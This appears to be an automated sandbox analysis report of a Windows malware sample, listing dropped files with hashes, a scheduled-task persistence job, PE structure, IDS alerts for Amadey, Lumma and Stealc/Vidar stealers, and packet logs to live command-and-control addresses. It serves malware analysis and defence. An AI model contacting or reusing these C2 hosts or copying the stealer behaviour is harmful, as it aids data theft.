Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.5323081253820385
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6ihj4qyaaX86KakfGNBw8MJSl:degquOcwV0
MD5:	72E631CDC5B4127D54EAFB484B4E43D3
SHA1:	252C1774D233078675ABAD8F13DF1FC1EE3B7DA4
SHA-256:	58D057DB1A3CFF3E178A0509E956A1CCD2FB5C8115773764686EA6E947D7CFEA
SHA-512:	C421810480C65DB90554E7677601D15979311C6CE2E1BDC026BF2551A581DA6EC9A61090C075CE6E2B13B412D22468089A59799A9FC87DE357870C194A4068F8
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.346204301995308
Encrypted:	false
SSDEEP:	6:pXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lLct0:1f2RKQ1CGAFAjzvYRQVLct0
MD5:	A4EB9426CDD87D1EB54F77284FD5ED1D
SHA1:	9E13621499EF7403B3AD08F68724106A456C4E63
SHA-256:	F74595D9856D409D6913459469D64DA6F8AF72672459844BB00A450B18B0654C
SHA-512:	A324CFEC2F17B911F837A614A98DC28DC2C43405DA32DA5471BD9E8ED30BF66A89BA1DD901407DD233CBB07E27FC6958411AF452DC5B7B101BFD09B2F5DFD9C5
Malicious:	false
Preview:	......[..9.D..s.....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................3.@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.685773804291696
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'198'976 bytes
MD5:	a9f08f49f037318cdd5537419aeae923
SHA1:	d32ff44a5c432b2eedaa2f3903f336ed7f92b69e
SHA256:	92aa7041261e1660388a18702544fbf2023eee7b6972b39b2ff059e81186150a
SHA512:	48fbb412d0f4b808445dc3d90070480401246a8ef46a44c670a55fe177d2e9a92b407aa343cebb7b5a55fb5fc4cca905f91d80f2907bda659b3b980b97da3236
SSDEEP:	49152:uyWudUpQLRbQJgSWuWhna2h0yumKlGZkXTmXu0XX07oxoddcO:uLudUpQLRbQJJWRnag0/VUX2oxTO
TLSH:	26E55A51B454B2CBD48E2BB9C49BCDC6595C0EE9071149C3D8F8ACBEBE63DC11AB6C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD1DCDB1C0Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30c1a8	0x10	mfipcauo
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30c158	0x18	mfipcauo
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	6dbc74f1c0821afe0111c613103712ba	False	0.5598379281850961	data	7.0629277379768025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mfipcauo	0x6b000	0x2a2000	0x2a1200	133b25fdba8203e34d7b7476d9f8c444	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hkjptfdi	0x30d000	0x1000	0x400	7ea3a3947588f1fd7ddf6385a6b3b860	False	0.8046875	data	6.22310197428592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30e000	0x3000	0x2200	5661fc4c0841b31956e2cef5a9ef715f	False	0.05962775735294118	DOS executable (COM)	0.7204018719326656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T01:51:05.129387+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-13T01:51:09.576757+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-13T01:51:16.215255+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-12-13T01:51:17.583116+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-13T01:51:19.033527+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	31.41.244.11	80	TCP
2024-12-13T01:51:26.191761+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49805	185.215.113.43	80	TCP
2024-12-13T01:51:27.679204+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49809	31.41.244.11	80	TCP
2024-12-13T01:51:38.484517+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49836	185.215.113.43	80	TCP
2024-12-13T01:51:39.681998+0100	2058159	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)	1	192.168.2.4	50837	1.1.1.1	53	UDP
2024-12-13T01:51:39.934340+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49839	31.41.244.11	80	TCP
2024-12-13T01:51:41.230366+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:41.230366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:41.937024+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:41.937024+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:43.447117+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:43.447117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:44.545764+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:44.545764+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:45.129376+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49855	185.215.113.43	80	TCP
2024-12-13T01:51:46.581456+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49858	31.41.244.11	80	TCP
2024-12-13T01:51:46.802002+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49862	172.67.213.48	443	TCP
2024-12-13T01:51:46.802002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49862	172.67.213.48	443	TCP
2024-12-13T01:51:47.937138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49863	104.21.79.7	443	TCP
2024-12-13T01:51:48.671485+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49863	104.21.79.7	443	TCP
2024-12-13T01:51:48.671485+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49863	104.21.79.7	443	TCP
2024-12-13T01:51:49.339513+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49869	172.67.213.48	443	TCP
2024-12-13T01:51:49.339513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49869	172.67.213.48	443	TCP
2024-12-13T01:51:50.000070+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49870	104.21.79.7	443	TCP
2024-12-13T01:51:50.768523+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49870	104.21.79.7	443	TCP
2024-12-13T01:51:50.768523+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49870	104.21.79.7	443	TCP
2024-12-13T01:51:51.295901+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49874	185.215.113.43	80	TCP
2024-12-13T01:51:51.748596+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49878	172.67.213.48	443	TCP
2024-12-13T01:51:51.748596+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	172.67.213.48	443	TCP
2024-12-13T01:51:52.753378+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49880	185.215.113.16	80	TCP
2024-12-13T01:51:54.806768+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49887	172.67.213.48	443	TCP
2024-12-13T01:51:54.806768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	172.67.213.48	443	TCP
2024-12-13T01:51:54.890948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49888	104.21.79.7	443	TCP
2024-12-13T01:51:55.536518+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49887	172.67.213.48	443	TCP
2024-12-13T01:51:55.921781+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49888	104.21.79.7	443	TCP
2024-12-13T01:51:57.289237+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	104.21.79.7	443	TCP
2024-12-13T01:51:57.577496+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49898	172.67.213.48	443	TCP
2024-12-13T01:51:57.577496+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49898	172.67.213.48	443	TCP
2024-12-13T01:51:57.581620+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49898	172.67.213.48	443	TCP
2024-12-13T01:51:58.378531+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49902	185.215.113.43	80	TCP
2024-12-13T01:51:59.843611+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49906	185.215.113.16	80	TCP
2024-12-13T01:52:00.688356+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49905	116.203.10.31	443	TCP
2024-12-13T01:52:00.688379+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	116.203.10.31	443	192.168.2.4	49905	TCP
2024-12-13T01:52:01.990510+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.4	49915	172.67.213.48	443	TCP
2024-12-13T01:52:01.990510+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49915	172.67.213.48	443	TCP
2024-12-13T01:52:02.272978+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49919	104.21.79.7	443	TCP
2024-12-13T01:52:03.024584+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	116.203.10.31	443	192.168.2.4	49914	TCP
2024-12-13T01:52:04.863210+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49915	172.67.213.48	443	TCP
2024-12-13T01:52:06.381502+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49933	185.215.113.206	80	TCP
2024-12-13T01:52:07.114316+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49941	104.21.79.7	443	TCP
2024-12-13T01:52:07.155686+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49940	185.215.113.43	80	TCP
2024-12-13T01:52:33.841334+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50018	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 01:51:03.672389984 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:03.792470932 CET	80	49753	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:03.793682098 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:03.793855906 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:03.914037943 CET	80	49753	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:05.126530886 CET	80	49753	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:05.129386902 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.641501904 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.641681910 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.761903048 CET	80	49759	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:06.762123108 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.762207031 CET	80	49753	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:06.762348890 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.762418032 CET	49753	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:06.882658958 CET	80	49759	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:08.123814106 CET	80	49759	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:08.124187946 CET	49759	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:08.128828049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:08.249269009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:08.249764919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:08.249985933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:08.370079994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576543093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576590061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576649904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576687098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576719999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576756001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576756954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576757908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576757908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576757908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576793909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576829910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576843023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576843023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576843977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576864004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576874971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576901913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.576924086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.576966047 CET	49765	80	192.168.2.4	31.41.244.11
